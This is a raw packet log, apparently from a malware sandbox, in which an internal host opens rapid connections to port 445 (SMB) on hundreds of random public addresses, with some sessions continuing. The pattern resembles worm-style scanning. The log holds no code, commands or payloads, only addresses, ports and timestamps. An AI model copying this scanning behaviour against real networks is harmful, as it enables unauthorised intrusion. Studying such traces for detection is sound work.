Jul 20, 2022 15:46:54.740111113 CEST	59061	445	192.168.2.7	134.187.213.200
Jul 20, 2022 15:46:54.747786045 CEST	59078	445	192.168.2.7	28.198.127.183
Jul 20, 2022 15:46:54.847292900 CEST	59080	445	192.168.2.7	188.18.139.99
Jul 20, 2022 15:46:54.937141895 CEST	445	59080	188.18.139.99	192.168.2.7
Jul 20, 2022 15:46:54.937362909 CEST	59080	445	192.168.2.7	188.18.139.99
Jul 20, 2022 15:46:54.937501907 CEST	59080	445	192.168.2.7	188.18.139.99
Jul 20, 2022 15:46:54.939914942 CEST	59081	445	192.168.2.7	188.18.139.99
Jul 20, 2022 15:46:55.024947882 CEST	445	59081	188.18.139.99	192.168.2.7
Jul 20, 2022 15:46:55.024992943 CEST	445	59080	188.18.139.99	192.168.2.7
Jul 20, 2022 15:46:55.025496960 CEST	59081	445	192.168.2.7	188.18.139.99
Jul 20, 2022 15:46:55.029131889 CEST	445	59080	188.18.139.99	192.168.2.7
Jul 20, 2022 15:46:55.029340982 CEST	59080	445	192.168.2.7	188.18.139.99
Jul 20, 2022 15:46:55.030358076 CEST	59081	445	192.168.2.7	188.18.139.99
Jul 20, 2022 15:46:55.112982035 CEST	445	59081	188.18.139.99	192.168.2.7
Jul 20, 2022 15:46:55.117089987 CEST	445	59081	188.18.139.99	192.168.2.7
Jul 20, 2022 15:46:55.125288010 CEST	59081	445	192.168.2.7	188.18.139.99
Jul 20, 2022 15:46:55.127302885 CEST	58777	445	192.168.2.7	149.20.139.3
Jul 20, 2022 15:46:55.214459896 CEST	445	59081	188.18.139.99	192.168.2.7
Jul 20, 2022 15:46:55.214787006 CEST	59081	445	192.168.2.7	188.18.139.99
Jul 20, 2022 15:46:55.308032036 CEST	445	59081	188.18.139.99	192.168.2.7
Jul 20, 2022 15:46:55.308494091 CEST	59081	445	192.168.2.7	188.18.139.99
Jul 20, 2022 15:46:55.404974937 CEST	445	59081	188.18.139.99	192.168.2.7
Jul 20, 2022 15:46:55.405296087 CEST	59081	445	192.168.2.7	188.18.139.99
Jul 20, 2022 15:46:55.489309072 CEST	445	59081	188.18.139.99	192.168.2.7
Jul 20, 2022 15:46:55.489638090 CEST	59081	445	192.168.2.7	188.18.139.99
Jul 20, 2022 15:46:55.719506979 CEST	59090	445	192.168.2.7	62.138.76.179
Jul 20, 2022 15:46:55.719594002 CEST	59092	445	192.168.2.7	117.31.225.120
Jul 20, 2022 15:46:55.719604969 CEST	59091	445	192.168.2.7	199.216.217.224
Jul 20, 2022 15:46:55.719649076 CEST	59094	445	192.168.2.7	55.85.112.7
Jul 20, 2022 15:46:55.719691038 CEST	59093	445	192.168.2.7	135.190.72.220
Jul 20, 2022 15:46:55.719744921 CEST	59095	445	192.168.2.7	164.150.102.76
Jul 20, 2022 15:46:55.721457958 CEST	59096	445	192.168.2.7	18.13.204.113
Jul 20, 2022 15:46:55.773525953 CEST	59099	445	192.168.2.7	205.83.55.86
Jul 20, 2022 15:46:55.774172068 CEST	59100	445	192.168.2.7	167.170.78.171
Jul 20, 2022 15:46:55.776539087 CEST	59103	445	192.168.2.7	3.47.79.59
Jul 20, 2022 15:46:55.803684950 CEST	59109	445	192.168.2.7	132.210.75.115
Jul 20, 2022 15:46:55.833498955 CEST	59116	445	192.168.2.7	71.106.242.164
Jul 20, 2022 15:46:55.849780083 CEST	59122	445	192.168.2.7	22.190.151.7
Jul 20, 2022 15:46:55.851577044 CEST	59124	445	192.168.2.7	164.164.205.82
Jul 20, 2022 15:46:55.852068901 CEST	59123	445	192.168.2.7	94.226.189.245
Jul 20, 2022 15:46:55.855077982 CEST	59127	445	192.168.2.7	89.252.155.55
Jul 20, 2022 15:46:55.864514112 CEST	59132	445	192.168.2.7	151.171.116.66
Jul 20, 2022 15:46:55.867958069 CEST	59135	445	192.168.2.7	26.148.147.15
Jul 20, 2022 15:46:55.869052887 CEST	59136	445	192.168.2.7	216.115.30.107
Jul 20, 2022 15:46:55.870383978 CEST	59138	445	192.168.2.7	117.6.102.79
Jul 20, 2022 15:46:55.871057034 CEST	59139	445	192.168.2.7	61.155.135.158
Jul 20, 2022 15:46:55.871757984 CEST	59140	445	192.168.2.7	43.78.58.170
Jul 20, 2022 15:46:55.891520977 CEST	59147	445	192.168.2.7	99.155.232.12
Jul 20, 2022 15:46:55.914856911 CEST	59149	445	192.168.2.7	22.122.68.180
Jul 20, 2022 15:46:55.915738106 CEST	59169	445	192.168.2.7	197.97.49.103
Jul 20, 2022 15:46:55.915991068 CEST	59178	445	192.168.2.7	110.86.179.3
Jul 20, 2022 15:46:55.917309046 CEST	59150	445	192.168.2.7	126.213.147.173
Jul 20, 2022 15:46:56.831954002 CEST	59191	445	192.168.2.7	65.47.99.36
Jul 20, 2022 15:46:56.832612991 CEST	59192	445	192.168.2.7	15.145.64.51
Jul 20, 2022 15:46:56.833246946 CEST	59193	445	192.168.2.7	37.0.65.152
Jul 20, 2022 15:46:56.833884001 CEST	59194	445	192.168.2.7	12.29.171.94
Jul 20, 2022 15:46:56.834530115 CEST	59195	445	192.168.2.7	178.35.135.145
Jul 20, 2022 15:46:56.846769094 CEST	59196	445	192.168.2.7	51.213.223.21
Jul 20, 2022 15:46:56.847434044 CEST	59197	445	192.168.2.7	172.246.122.169
Jul 20, 2022 15:46:56.897743940 CEST	59198	445	192.168.2.7	21.75.53.153
Jul 20, 2022 15:46:56.897793055 CEST	59201	445	192.168.2.7	51.147.245.187
Jul 20, 2022 15:46:56.897852898 CEST	59203	445	192.168.2.7	183.123.132.39
Jul 20, 2022 15:46:56.909295082 CEST	59210	445	192.168.2.7	107.186.141.46
Jul 20, 2022 15:46:56.926892042 CEST	59211	445	192.168.2.7	71.14.20.10
Jul 20, 2022 15:46:56.956361055 CEST	59218	445	192.168.2.7	48.158.138.110
Jul 20, 2022 15:46:56.979357958 CEST	59224	445	192.168.2.7	126.18.9.248
Jul 20, 2022 15:46:56.980021954 CEST	59225	445	192.168.2.7	16.116.128.73
Jul 20, 2022 15:46:56.981722116 CEST	59226	445	192.168.2.7	49.166.232.216
Jul 20, 2022 15:46:56.984555960 CEST	59230	445	192.168.2.7	13.111.106.138
Jul 20, 2022 15:46:57.008167982 CEST	59242	445	192.168.2.7	178.65.155.215
Jul 20, 2022 15:46:57.008203030 CEST	59241	445	192.168.2.7	141.32.109.46
Jul 20, 2022 15:46:57.008234978 CEST	59234	445	192.168.2.7	100.197.189.72
Jul 20, 2022 15:46:57.008270025 CEST	59243	445	192.168.2.7	213.146.139.241
Jul 20, 2022 15:46:57.008308887 CEST	59245	445	192.168.2.7	123.239.17.226
Jul 20, 2022 15:46:57.008502007 CEST	59248	445	192.168.2.7	79.112.66.191
Jul 20, 2022 15:46:57.008505106 CEST	59246	445	192.168.2.7	123.68.177.117
Jul 20, 2022 15:46:57.035410881 CEST	59254	445	192.168.2.7	54.235.24.63
Jul 20, 2022 15:46:57.038198948 CEST	59258	445	192.168.2.7	77.184.126.142
Jul 20, 2022 15:46:57.047977924 CEST	59260	445	192.168.2.7	99.235.146.61
Jul 20, 2022 15:46:57.048777103 CEST	59281	445	192.168.2.7	14.24.173.103
Jul 20, 2022 15:46:57.048959017 CEST	59282	445	192.168.2.7	196.139.168.141
Jul 20, 2022 15:46:57.082926989 CEST	445	59210	107.186.141.46	192.168.2.7
Jul 20, 2022 15:46:57.083061934 CEST	59210	445	192.168.2.7	107.186.141.46
Jul 20, 2022 15:46:57.086219072 CEST	59210	445	192.168.2.7	107.186.141.46
Jul 20, 2022 15:46:57.259387016 CEST	445	59210	107.186.141.46	192.168.2.7
Jul 20, 2022 15:46:57.259635925 CEST	59210	445	192.168.2.7	107.186.141.46
Jul 20, 2022 15:46:57.432986975 CEST	445	59210	107.186.141.46	192.168.2.7
Jul 20, 2022 15:46:57.433207989 CEST	59210	445	192.168.2.7	107.186.141.46
Jul 20, 2022 15:46:57.606379032 CEST	445	59210	107.186.141.46	192.168.2.7
Jul 20, 2022 15:46:57.659154892 CEST	59286	445	192.168.2.7	107.186.141.47
Jul 20, 2022 15:46:57.828300953 CEST	445	59286	107.186.141.47	192.168.2.7
Jul 20, 2022 15:46:57.828418970 CEST	59286	445	192.168.2.7	107.186.141.47
Jul 20, 2022 15:46:57.828897953 CEST	59286	445	192.168.2.7	107.186.141.47
Jul 20, 2022 15:46:57.832494020 CEST	59291	445	192.168.2.7	107.186.141.47
Jul 20, 2022 15:46:57.957065105 CEST	59294	445	192.168.2.7	38.116.67.200
Jul 20, 2022 15:46:57.957664967 CEST	59295	445	192.168.2.7	154.153.80.1
Jul 20, 2022 15:46:57.958406925 CEST	59296	445	192.168.2.7	14.187.30.84
Jul 20, 2022 15:46:57.959099054 CEST	59297	445	192.168.2.7	96.206.49.240
Jul 20, 2022 15:46:57.959806919 CEST	59298	445	192.168.2.7	29.47.245.141
Jul 20, 2022 15:46:57.976191998 CEST	59300	445	192.168.2.7	193.107.155.6
Jul 20, 2022 15:46:57.976596117 CEST	59301	445	192.168.2.7	36.171.189.88
Jul 20, 2022 15:46:57.997653961 CEST	445	59286	107.186.141.47	192.168.2.7
Jul 20, 2022 15:46:57.997680902 CEST	445	59286	107.186.141.47	192.168.2.7
Jul 20, 2022 15:46:58.003177881 CEST	445	59291	107.186.141.47	192.168.2.7
Jul 20, 2022 15:46:58.003324032 CEST	59291	445	192.168.2.7	107.186.141.47
Jul 20, 2022 15:46:58.003690958 CEST	59291	445	192.168.2.7	107.186.141.47
Jul 20, 2022 15:46:58.023485899 CEST	59304	445	192.168.2.7	35.144.112.123
Jul 20, 2022 15:46:58.023549080 CEST	59306	445	192.168.2.7	38.229.186.242
Jul 20, 2022 15:46:58.023637056 CEST	59308	445	192.168.2.7	196.188.103.130
Jul 20, 2022 15:46:58.051394939 CEST	59314	445	192.168.2.7	208.92.162.27
Jul 20, 2022 15:46:58.082950115 CEST	59323	445	192.168.2.7	109.159.171.171
Jul 20, 2022 15:46:58.083586931 CEST	59324	445	192.168.2.7	4.58.72.128
Jul 20, 2022 15:46:58.084161043 CEST	59325	445	192.168.2.7	38.138.81.87
Jul 20, 2022 15:46:58.100433111 CEST	59331	445	192.168.2.7	6.39.205.52
Jul 20, 2022 15:46:58.101193905 CEST	59335	445	192.168.2.7	101.103.108.230
Jul 20, 2022 15:46:58.133598089 CEST	59337	445	192.168.2.7	35.221.82.198
Jul 20, 2022 15:46:58.134177923 CEST	59343	445	192.168.2.7	9.5.119.113
Jul 20, 2022 15:46:58.134212017 CEST	59344	445	192.168.2.7	25.246.202.196
Jul 20, 2022 15:46:58.134305000 CEST	59346	445	192.168.2.7	11.42.168.95
Jul 20, 2022 15:46:58.134366989 CEST	59347	445	192.168.2.7	33.188.215.60
Jul 20, 2022 15:46:58.134460926 CEST	59349	445	192.168.2.7	41.241.39.196
Jul 20, 2022 15:46:58.134509087 CEST	59350	445	192.168.2.7	36.71.9.139
Jul 20, 2022 15:46:58.166815042 CEST	59357	445	192.168.2.7	74.35.20.37
Jul 20, 2022 15:46:58.167084932 CEST	59367	445	192.168.2.7	17.18.53.125
Jul 20, 2022 15:46:58.167258978 CEST	59371	445	192.168.2.7	120.128.63.241
Jul 20, 2022 15:46:58.174906015 CEST	445	59291	107.186.141.47	192.168.2.7
Jul 20, 2022 15:46:58.175164938 CEST	59291	445	192.168.2.7	107.186.141.47
Jul 20, 2022 15:46:58.191597939 CEST	59373	445	192.168.2.7	79.16.209.5
Jul 20, 2022 15:46:58.193202972 CEST	59375	445	192.168.2.7	66.254.61.184
Jul 20, 2022 15:46:58.346028090 CEST	445	59291	107.186.141.47	192.168.2.7
Jul 20, 2022 15:46:58.346208096 CEST	59291	445	192.168.2.7	107.186.141.47
Jul 20, 2022 15:46:58.408999920 CEST	59389	445	192.168.2.7	188.18.139.99
Jul 20, 2022 15:46:58.493323088 CEST	445	59389	188.18.139.99	192.168.2.7
Jul 20, 2022 15:46:58.493494034 CEST	59389	445	192.168.2.7	188.18.139.99
Jul 20, 2022 15:46:58.493735075 CEST	59389	445	192.168.2.7	188.18.139.99
Jul 20, 2022 15:46:58.519242048 CEST	445	59291	107.186.141.47	192.168.2.7
Jul 20, 2022 15:46:58.578991890 CEST	445	59389	188.18.139.99	192.168.2.7
Jul 20, 2022 15:46:58.585320950 CEST	445	59389	188.18.139.99	192.168.2.7
Jul 20, 2022 15:46:58.585593939 CEST	59389	445	192.168.2.7	188.18.139.99
Jul 20, 2022 15:46:58.673367977 CEST	445	59389	188.18.139.99	192.168.2.7
Jul 20, 2022 15:46:58.673636913 CEST	59389	445	192.168.2.7	188.18.139.99
Jul 20, 2022 15:46:58.761285067 CEST	445	59389	188.18.139.99	192.168.2.7
Jul 20, 2022 15:46:58.765132904 CEST	59389	445	192.168.2.7	188.18.139.99
Jul 20, 2022 15:46:58.849312067 CEST	445	59389	188.18.139.99	192.168.2.7
Jul 20, 2022 15:46:58.853862047 CEST	59389	445	192.168.2.7	188.18.139.99
Jul 20, 2022 15:46:58.908900023 CEST	59393	445	192.168.2.7	188.18.139.100
Jul 20, 2022 15:46:58.941260099 CEST	445	59389	188.18.139.99	192.168.2.7
Jul 20, 2022 15:46:58.941406965 CEST	59389	445	192.168.2.7	188.18.139.99
Jul 20, 2022 15:46:59.093754053 CEST	59397	445	192.168.2.7	70.182.180.220
Jul 20, 2022 15:46:59.094445944 CEST	59399	445	192.168.2.7	26.201.239.129
Jul 20, 2022 15:46:59.094501972 CEST	59400	445	192.168.2.7	129.53.84.148
Jul 20, 2022 15:46:59.095073938 CEST	59402	445	192.168.2.7	131.13.109.55
Jul 20, 2022 15:46:59.097474098 CEST	59404	445	192.168.2.7	133.101.27.129
Jul 20, 2022 15:46:59.097534895 CEST	59405	445	192.168.2.7	123.253.53.89
Jul 20, 2022 15:46:59.129797935 CEST	59409	445	192.168.2.7	53.155.180.85
Jul 20, 2022 15:46:59.131066084 CEST	59411	445	192.168.2.7	189.63.1.111
Jul 20, 2022 15:46:59.131690979 CEST	59412	445	192.168.2.7	52.67.7.131
Jul 20, 2022 15:46:59.191298008 CEST	59423	445	192.168.2.7	7.32.98.83
Jul 20, 2022 15:46:59.214653969 CEST	59440	445	192.168.2.7	159.201.152.183
Jul 20, 2022 15:46:59.214654922 CEST	59427	445	192.168.2.7	19.49.169.219
Jul 20, 2022 15:46:59.214657068 CEST	59428	445	192.168.2.7	63.157.158.153
Jul 20, 2022 15:46:59.214657068 CEST	59429	445	192.168.2.7	87.194.171.58
Jul 20, 2022 15:46:59.214698076 CEST	59434	445	192.168.2.7	65.225.176.52
Jul 20, 2022 15:46:59.258507967 CEST	59442	445	192.168.2.7	140.229.67.211
Jul 20, 2022 15:46:59.258999109 CEST	59447	445	192.168.2.7	141.178.79.250
Jul 20, 2022 15:46:59.259054899 CEST	59448	445	192.168.2.7	6.26.40.199
Jul 20, 2022 15:46:59.259095907 CEST	59450	445	192.168.2.7	57.107.35.46
Jul 20, 2022 15:46:59.259151936 CEST	59451	445	192.168.2.7	109.131.33.2
Jul 20, 2022 15:46:59.259222984 CEST	59453	445	192.168.2.7	6.193.154.197
Jul 20, 2022 15:46:59.259248018 CEST	59454	445	192.168.2.7	61.237.134.33
Jul 20, 2022 15:46:59.306385994 CEST	59464	445	192.168.2.7	202.187.165.32
Jul 20, 2022 15:46:59.310067892 CEST	59471	445	192.168.2.7	175.62.97.61
Jul 20, 2022 15:46:59.312899113 CEST	59475	445	192.168.2.7	104.86.80.9
Jul 20, 2022 15:46:59.315706015 CEST	59476	445	192.168.2.7	142.67.217.62
Jul 20, 2022 15:46:59.334930897 CEST	59478	445	192.168.2.7	180.106.179.114
Jul 20, 2022 15:46:59.988506079 CEST	59496	445	192.168.2.7	188.18.139.101
Jul 20, 2022 15:47:00.192640066 CEST	59501	445	192.168.2.7	22.102.215.229
Jul 20, 2022 15:47:00.193625927 CEST	59502	445	192.168.2.7	182.77.167.129
Jul 20, 2022 15:47:00.194385052 CEST	59503	445	192.168.2.7	47.173.120.133
Jul 20, 2022 15:47:00.195099115 CEST	59504	445	192.168.2.7	62.126.6.184
Jul 20, 2022 15:47:00.196454048 CEST	59506	445	192.168.2.7	42.131.204.145
Jul 20, 2022 15:47:00.222904921 CEST	59507	445	192.168.2.7	146.144.131.188
Jul 20, 2022 15:47:00.223341942 CEST	59508	445	192.168.2.7	91.170.72.53
Jul 20, 2022 15:47:00.255244017 CEST	59512	445	192.168.2.7	206.17.143.186
Jul 20, 2022 15:47:00.255853891 CEST	59513	445	192.168.2.7	194.197.20.60
Jul 20, 2022 15:47:00.257107973 CEST	59515	445	192.168.2.7	37.86.4.65
Jul 20, 2022 15:47:00.312349081 CEST	59521	445	192.168.2.7	103.85.234.136
Jul 20, 2022 15:47:00.338113070 CEST	59528	445	192.168.2.7	6.221.81.56
Jul 20, 2022 15:47:00.338203907 CEST	59532	445	192.168.2.7	60.134.105.50
Jul 20, 2022 15:47:00.338428974 CEST	59538	445	192.168.2.7	142.167.241.214
Jul 20, 2022 15:47:00.338433027 CEST	59531	445	192.168.2.7	31.118.248.81
Jul 20, 2022 15:47:00.338582993 CEST	59543	445	192.168.2.7	153.25.94.240
Jul 20, 2022 15:47:00.378642082 CEST	59546	445	192.168.2.7	116.85.152.34
Jul 20, 2022 15:47:00.381931067 CEST	59551	445	192.168.2.7	214.125.146.13
Jul 20, 2022 15:47:00.385411978 CEST	59553	445	192.168.2.7	1.52.80.129
Jul 20, 2022 15:47:00.386055946 CEST	59554	445	192.168.2.7	139.141.44.75
Jul 20, 2022 15:47:00.387415886 CEST	59556	445	192.168.2.7	104.195.118.162
Jul 20, 2022 15:47:00.388073921 CEST	59557	445	192.168.2.7	99.10.223.111
Jul 20, 2022 15:47:00.388976097 CEST	59558	445	192.168.2.7	13.74.21.128
Jul 20, 2022 15:47:00.434093952 CEST	59568	445	192.168.2.7	53.142.211.101
Jul 20, 2022 15:47:00.434300900 CEST	59575	445	192.168.2.7	151.237.117.110
Jul 20, 2022 15:47:00.434446096 CEST	59579	445	192.168.2.7	214.49.17.224
Jul 20, 2022 15:47:00.448729992 CEST	59580	445	192.168.2.7	55.18.8.229
Jul 20, 2022 15:47:00.457429886 CEST	59582	445	192.168.2.7	90.140.228.110
Jul 20, 2022 15:47:00.653312922 CEST	445	59532	60.134.105.50	192.168.2.7
Jul 20, 2022 15:47:01.105180025 CEST	59598	445	192.168.2.7	188.18.139.102
Jul 20, 2022 15:47:01.142784119 CEST	58777	445	192.168.2.7	149.20.139.3
Jul 20, 2022 15:47:01.158363104 CEST	59532	445	192.168.2.7	60.134.105.50
Jul 20, 2022 15:47:01.193917036 CEST	445	59598	188.18.139.102	192.168.2.7
Jul 20, 2022 15:47:01.194150925 CEST	59598	445	192.168.2.7	188.18.139.102
Jul 20, 2022 15:47:01.194344997 CEST	59598	445	192.168.2.7	188.18.139.102
Jul 20, 2022 15:47:01.197611094 CEST	59601	445	192.168.2.7	188.18.139.102
Jul 20, 2022 15:47:01.281793118 CEST	445	59598	188.18.139.102	192.168.2.7
Jul 20, 2022 15:47:01.285691977 CEST	445	59601	188.18.139.102	192.168.2.7
Jul 20, 2022 15:47:01.285845995 CEST	59601	445	192.168.2.7	188.18.139.102
Jul 20, 2022 15:47:01.287378073 CEST	59601	445	192.168.2.7	188.18.139.102
Jul 20, 2022 15:47:01.289783001 CEST	445	59598	188.18.139.102	192.168.2.7
Jul 20, 2022 15:47:01.289890051 CEST	59598	445	192.168.2.7	188.18.139.102
Jul 20, 2022 15:47:01.308070898 CEST	445	58777	149.20.139.3	192.168.2.7
Jul 20, 2022 15:47:01.308963060 CEST	58777	445	192.168.2.7	149.20.139.3
Jul 20, 2022 15:47:01.317534924 CEST	59606	445	192.168.2.7	53.246.141.181
Jul 20, 2022 15:47:01.318761110 CEST	59607	445	192.168.2.7	88.112.16.224
Jul 20, 2022 15:47:01.319673061 CEST	59608	445	192.168.2.7	24.158.155.136
Jul 20, 2022 15:47:01.321938992 CEST	59609	445	192.168.2.7	133.110.157.230
Jul 20, 2022 15:47:01.322197914 CEST	59611	445	192.168.2.7	132.122.203.150
Jul 20, 2022 15:47:01.349313974 CEST	59612	445	192.168.2.7	82.211.211.153
Jul 20, 2022 15:47:01.350759983 CEST	59613	445	192.168.2.7	38.215.54.166
Jul 20, 2022 15:47:01.377477884 CEST	445	59601	188.18.139.102	192.168.2.7
Jul 20, 2022 15:47:01.381670952 CEST	445	59601	188.18.139.102	192.168.2.7
Jul 20, 2022 15:47:01.381969929 CEST	59601	445	192.168.2.7	188.18.139.102
Jul 20, 2022 15:47:01.412328959 CEST	59617	445	192.168.2.7	19.88.181.198
Jul 20, 2022 15:47:01.412352085 CEST	59618	445	192.168.2.7	19.65.110.218
Jul 20, 2022 15:47:01.412527084 CEST	59620	445	192.168.2.7	10.69.96.24
Jul 20, 2022 15:47:01.426803112 CEST	59627	445	192.168.2.7	132.74.15.189
Jul 20, 2022 15:47:01.463041067 CEST	59634	445	192.168.2.7	106.247.110.88
Jul 20, 2022 15:47:01.473011017 CEST	59640	445	192.168.2.7	106.26.116.223
Jul 20, 2022 15:47:01.473114014 CEST	59639	445	192.168.2.7	112.206.159.23
Jul 20, 2022 15:47:01.473356009 CEST	445	58777	149.20.139.3	192.168.2.7
Jul 20, 2022 15:47:01.473376989 CEST	445	59601	188.18.139.102	192.168.2.7
Jul 20, 2022 15:47:01.473874092 CEST	445	59532	60.134.105.50	192.168.2.7
Jul 20, 2022 15:47:01.476314068 CEST	59601	445	192.168.2.7	188.18.139.102
Jul 20, 2022 15:47:01.480495930 CEST	59641	445	192.168.2.7	160.140.108.65
Jul 20, 2022 15:47:01.480875015 CEST	59648	445	192.168.2.7	116.213.184.188
Jul 20, 2022 15:47:01.518734932 CEST	59652	445	192.168.2.7	170.114.209.65
Jul 20, 2022 15:47:01.519257069 CEST	59654	445	192.168.2.7	159.20.154.42
Jul 20, 2022 15:47:01.519628048 CEST	59653	445	192.168.2.7	76.169.215.74
Jul 20, 2022 15:47:01.519654036 CEST	59662	445	192.168.2.7	137.21.81.64
Jul 20, 2022 15:47:01.519737959 CEST	59664	445	192.168.2.7	141.160.237.89
Jul 20, 2022 15:47:01.519781113 CEST	59665	445	192.168.2.7	219.43.134.248
Jul 20, 2022 15:47:01.519826889 CEST	59660	445	192.168.2.7	53.234.160.89
Jul 20, 2022 15:47:01.537851095 CEST	59667	445	192.168.2.7	107.186.141.47
Jul 20, 2022 15:47:01.565526009 CEST	445	59601	188.18.139.102	192.168.2.7
Jul 20, 2022 15:47:01.565728903 CEST	59601	445	192.168.2.7	188.18.139.102
Jul 20, 2022 15:47:01.596726894 CEST	59675	445	192.168.2.7	213.31.129.38
Jul 20, 2022 15:47:01.637111902 CEST	59682	445	192.168.2.7	96.112.15.44
Jul 20, 2022 15:47:01.637258053 CEST	59684	445	192.168.2.7	106.155.240.108
Jul 20, 2022 15:47:01.637315035 CEST	59688	445	192.168.2.7	144.98.167.73
Jul 20, 2022 15:47:01.637388945 CEST	59685	445	192.168.2.7	153.172.167.194
Jul 20, 2022 15:47:01.637622118 CEST	59699	445	192.168.2.7	149.20.139.4
Jul 20, 2022 15:47:01.653518915 CEST	445	59601	188.18.139.102	192.168.2.7
Jul 20, 2022 15:47:01.653644085 CEST	59601	445	192.168.2.7	188.18.139.102
Jul 20, 2022 15:47:01.692960024 CEST	445	59639	112.206.159.23	192.168.2.7
Jul 20, 2022 15:47:01.708266973 CEST	445	59667	107.186.141.47	192.168.2.7
Jul 20, 2022 15:47:01.708439112 CEST	59667	445	192.168.2.7	107.186.141.47
Jul 20, 2022 15:47:01.708553076 CEST	59667	445	192.168.2.7	107.186.141.47
Jul 20, 2022 15:47:01.745485067 CEST	445	59601	188.18.139.102	192.168.2.7
Jul 20, 2022 15:47:01.745676041 CEST	59601	445	192.168.2.7	188.18.139.102
Jul 20, 2022 15:47:01.802548885 CEST	445	59699	149.20.139.4	192.168.2.7
Jul 20, 2022 15:47:01.802650928 CEST	59699	445	192.168.2.7	149.20.139.4
Jul 20, 2022 15:47:01.816366911 CEST	59704	445	192.168.2.7	149.20.139.4
Jul 20, 2022 15:47:01.878660917 CEST	445	59667	107.186.141.47	192.168.2.7
Jul 20, 2022 15:47:01.878889084 CEST	59667	445	192.168.2.7	107.186.141.47
Jul 20, 2022 15:47:01.967652082 CEST	445	59699	149.20.139.4	192.168.2.7
Jul 20, 2022 15:47:01.981987953 CEST	445	59704	149.20.139.4	192.168.2.7
Jul 20, 2022 15:47:01.982178926 CEST	59704	445	192.168.2.7	149.20.139.4
Jul 20, 2022 15:47:02.048470020 CEST	445	59667	107.186.141.47	192.168.2.7
Jul 20, 2022 15:47:02.048804045 CEST	59667	445	192.168.2.7	107.186.141.47
Jul 20, 2022 15:47:02.147624016 CEST	445	59704	149.20.139.4	192.168.2.7
Jul 20, 2022 15:47:02.205295086 CEST	59639	445	192.168.2.7	112.206.159.23
Jul 20, 2022 15:47:02.218334913 CEST	445	59667	107.186.141.47	192.168.2.7
Jul 20, 2022 15:47:02.290844917 CEST	59708	445	192.168.2.7	107.186.141.48
Jul 20, 2022 15:47:02.426856041 CEST	59714	445	192.168.2.7	76.179.50.107
Jul 20, 2022 15:47:02.427346945 CEST	59715	445	192.168.2.7	26.88.76.188
Jul 20, 2022 15:47:02.427838087 CEST	59716	445	192.168.2.7	145.154.211.147
Jul 20, 2022 15:47:02.429230928 CEST	445	59639	112.206.159.23	192.168.2.7
Jul 20, 2022 15:47:02.429248095 CEST	59717	445	192.168.2.7	86.239.66.218
Jul 20, 2022 15:47:02.429416895 CEST	59719	445	192.168.2.7	188.31.140.165
Jul 20, 2022 15:47:02.460382938 CEST	445	59708	107.186.141.48	192.168.2.7
Jul 20, 2022 15:47:02.460520029 CEST	59708	445	192.168.2.7	107.186.141.48
Jul 20, 2022 15:47:02.460695028 CEST	59708	445	192.168.2.7	107.186.141.48
Jul 20, 2022 15:47:02.468149900 CEST	59720	445	192.168.2.7	107.186.141.48
Jul 20, 2022 15:47:02.472592115 CEST	59721	445	192.168.2.7	189.156.60.217
Jul 20, 2022 15:47:02.473258018 CEST	59722	445	192.168.2.7	92.199.249.72
Jul 20, 2022 15:47:02.542785883 CEST	59726	445	192.168.2.7	128.114.12.49
Jul 20, 2022 15:47:02.542872906 CEST	59727	445	192.168.2.7	218.152.124.6
Jul 20, 2022 15:47:02.543091059 CEST	59729	445	192.168.2.7	74.78.251.125
Jul 20, 2022 15:47:02.553288937 CEST	59736	445	192.168.2.7	215.74.223.139
Jul 20, 2022 15:47:02.583466053 CEST	59743	445	192.168.2.7	136.200.187.164
Jul 20, 2022 15:47:02.597925901 CEST	59749	445	192.168.2.7	204.83.221.210
Jul 20, 2022 15:47:02.602832079 CEST	59756	445	192.168.2.7	68.26.227.154
Jul 20, 2022 15:47:02.603789091 CEST	59757	445	192.168.2.7	88.7.167.174
Jul 20, 2022 15:47:02.604561090 CEST	59758	445	192.168.2.7	188.11.128.224
Jul 20, 2022 15:47:02.629522085 CEST	445	59708	107.186.141.48	192.168.2.7
Jul 20, 2022 15:47:02.629551888 CEST	445	59708	107.186.141.48	192.168.2.7
Jul 20, 2022 15:47:02.637161016 CEST	445	59720	107.186.141.48	192.168.2.7
Jul 20, 2022 15:47:02.637275934 CEST	59720	445	192.168.2.7	107.186.141.48
Jul 20, 2022 15:47:02.637432098 CEST	59720	445	192.168.2.7	107.186.141.48
Jul 20, 2022 15:47:02.648370028 CEST	59762	445	192.168.2.7	166.32.29.171
Jul 20, 2022 15:47:02.654337883 CEST	59763	445	192.168.2.7	150.72.193.0
Jul 20, 2022 15:47:02.659917116 CEST	59765	445	192.168.2.7	98.41.65.11
Jul 20, 2022 15:47:02.660090923 CEST	59767	445	192.168.2.7	134.88.180.229
Jul 20, 2022 15:47:02.660423040 CEST	59773	445	192.168.2.7	188.145.100.224
Jul 20, 2022 15:47:02.660489082 CEST	59774	445	192.168.2.7	95.234.206.53
Jul 20, 2022 15:47:02.660541058 CEST	59775	445	192.168.2.7	120.221.54.195
Jul 20, 2022 15:47:02.726932049 CEST	59785	445	192.168.2.7	198.192.244.96
Jul 20, 2022 15:47:02.795449972 CEST	59802	445	192.168.2.7	135.197.81.181
Jul 20, 2022 15:47:02.795516014 CEST	59803	445	192.168.2.7	141.75.251.193
Jul 20, 2022 15:47:02.795717001 CEST	59806	445	192.168.2.7	203.1.251.254
Jul 20, 2022 15:47:02.795836926 CEST	59805	445	192.168.2.7	189.2.202.41
Jul 20, 2022 15:47:02.806827068 CEST	445	59720	107.186.141.48	192.168.2.7
Jul 20, 2022 15:47:02.807099104 CEST	59720	445	192.168.2.7	107.186.141.48
Jul 20, 2022 15:47:02.979237080 CEST	445	59720	107.186.141.48	192.168.2.7
Jul 20, 2022 15:47:02.979906082 CEST	59720	445	192.168.2.7	107.186.141.48
Jul 20, 2022 15:47:03.149799109 CEST	445	59720	107.186.141.48	192.168.2.7
Jul 20, 2022 15:47:03.662131071 CEST	59818	445	192.168.2.7	217.136.11.177
Jul 20, 2022 15:47:03.663424969 CEST	59820	445	192.168.2.7	131.233.207.249
Jul 20, 2022 15:47:03.664361954 CEST	59821	445	192.168.2.7	86.179.139.20
Jul 20, 2022 15:47:03.665081024 CEST	59822	445	192.168.2.7	18.149.3.247
Jul 20, 2022 15:47:03.665723085 CEST	59823	445	192.168.2.7	68.174.129.30
Jul 20, 2022 15:47:03.666353941 CEST	59824	445	192.168.2.7	159.196.101.7
Jul 20, 2022 15:47:03.667628050 CEST	59826	445	192.168.2.7	46.253.140.111
Jul 20, 2022 15:47:03.769809961 CEST	59828	445	192.168.2.7	205.81.71.185
Jul 20, 2022 15:47:03.770454884 CEST	59829	445	192.168.2.7	126.59.209.128
